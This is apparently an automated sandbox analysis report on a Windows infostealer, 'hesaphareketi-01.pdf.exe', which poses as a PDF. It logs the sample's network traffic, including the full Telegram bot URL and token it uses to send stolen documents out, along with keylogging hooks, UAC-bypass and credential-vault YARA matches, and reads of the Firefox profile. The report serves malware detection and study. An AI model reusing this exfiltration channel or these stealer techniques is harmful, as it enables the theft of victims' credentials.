JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dc7b929ff59cb4Host: api.telegram.orgContent-Length: 980Expect: 100-continueConnection: Keep-Alive

Source: RegAsm.exe, 00000003.00000002.3677180762.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002A80000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002ADE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: hesaphareketi-01.pdf.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: hesaphareketi-01.pdf.exe, 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidX
Source: hesaphareketi-01.pdf.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY
Source: hesaphareketi-01.pdf.exe	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: hesaphareketi-01.pdf.exe, 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameX
Source: hesaphareketi-01.pdf.exe, 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: hesaphareketi-01.pdf.exe	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: hesaphareketi-01.pdf.exe, 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegAsm.exe, 00000003.00000002.3677180762.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: RegAsm.exe, 00000003.00000002.3677180762.00000000029D5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.00000000028D8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002981000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002A80000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002ADE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: hesaphareketi-01.pdf.exe, 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/
Source: RegAsm.exe, 00000003.00000002.3677180762.00000000029D5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.00000000028D8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002981000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002A80000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.0000000002ADE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument
Source: RegAsm.exe, 00000003.00000002.3677180762.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49728 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, gmBpn1ecBmQ.cs	.Net Code: trwhO
Source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack, gmBpn1ecBmQ.cs	.Net Code: trwhO

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: hesaphareketi-01.pdf.exe, type: SAMPLE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-01.pdf.exe.7ff7341d0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen
Source: 0.0.hesaphareketi-01.pdf.exe.7ff7341d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: hesaphareketi-01.pdf.exe

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF734200560	0_2_00007FF734200560
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341E8F50	0_2_00007FF7341E8F50
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341FC160	0_2_00007FF7341FC160
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341FEB10	0_2_00007FF7341FEB10
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341F8D40	0_2_00007FF7341F8D40
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341EFDA0	0_2_00007FF7341EFDA0
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF734203600	0_2_00007FF734203600
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341D7EC0	0_2_00007FF7341D7EC0
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF734202700	0_2_00007FF734202700
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341F7F10	0_2_00007FF7341F7F10
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341E3720	0_2_00007FF7341E3720
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF734203F70	0_2_00007FF734203F70
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF734201800	0_2_00007FF734201800
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341F3010	0_2_00007FF7341F3010
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341EF7F4	0_2_00007FF7341EF7F4
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341F57F0	0_2_00007FF7341F57F0
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341F4890	0_2_00007FF7341F4890
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341F88C0	0_2_00007FF7341F88C0
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341F40D0	0_2_00007FF7341F40D0
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341F2934	0_2_00007FF7341F2934
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7342089D0	0_2_00007FF7342089D0
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341E69D0	0_2_00007FF7341E69D0
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341F69D0	0_2_00007FF7341F69D0
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF734202290	0_2_00007FF734202290
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341E2A60	0_2_00007FF7341E2A60
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341EE2F0	0_2_00007FF7341EE2F0
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341FF360	0_2_00007FF7341FF360
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341FDC30	0_2_00007FF7341FDC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00E54178	3_2_00E54178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00E5E511	3_2_00E5E511
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00E54A48	3_2_00E54A48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00E5DC90	3_2_00E5DC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00E53E30	3_2_00E53E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061D1BA8	3_2_061D1BA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061D1BA6	3_2_061D1BA6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061E7D78	3_2_061E7D78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061E5598	3_2_061E5598
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061E65E8	3_2_061E65E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061EB228	3_2_061EB228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061E3050	3_2_061E3050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061EC188	3_2_061EC188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061E7698	3_2_061E7698
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061E5CDB	3_2_061E5CDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061E2340	3_2_061E2340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061EE3A0	3_2_061EE3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061E0040	3_2_061E0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061E0006	3_2_061E0006

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe

Code function: String function: 00007FF7341D9B60 appears 51 times

Source: hesaphareketi-01.pdf.exe	Binary or memory string: OriginalFilename vs hesaphareketi-01.pdf.exe
Source: hesaphareketi-01.pdf.exe, 00000000.00000000.1208782135.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWriteLineAsyncd58ELEMENTTYPEINTERNAL.dllj% vs hesaphareketi-01.pdf.exe
Source: hesaphareketi-01.pdf.exe, 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamed430bae3-2e9e-4778-9cea-7bcd12b5f496.exe4 vs hesaphareketi-01.pdf.exe
Source: hesaphareketi-01.pdf.exe, 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWriteLineAsyncd58ELEMENTTYPEINTERNAL.dllj% vs hesaphareketi-01.pdf.exe
Source: hesaphareketi-01.pdf.exe	Binary or memory string: OriginalFilenameWriteLineAsyncd58ELEMENTTYPEINTERNAL.dllj% vs hesaphareketi-01.pdf.exe

Source: hesaphareketi-01.pdf.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-01.pdf.exe.7ff7341d0000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
Source: 0.0.hesaphareketi-01.pdf.exe.7ff7341d0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF

Source: hesaphareketi-01.pdf.exe

Static PE information: Section: .rsrc ZLIB complexity 0.9963167283298098

Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, roEs93G.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, roEs93G.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, JQn0Aia1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, JQn0Aia1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@4/0@2/2

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe

Code function: 0_2_00007FF7341E2890 LookupPrivilegeValueW,GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLargePageMinimum,VirtualAlloc,GetCurrentProcess,VirtualAllocExNuma,

0_2_00007FF7341E2890

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7156:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hesaphareketi-01.pdf.exe	ReversingLabs: Detection: 34%
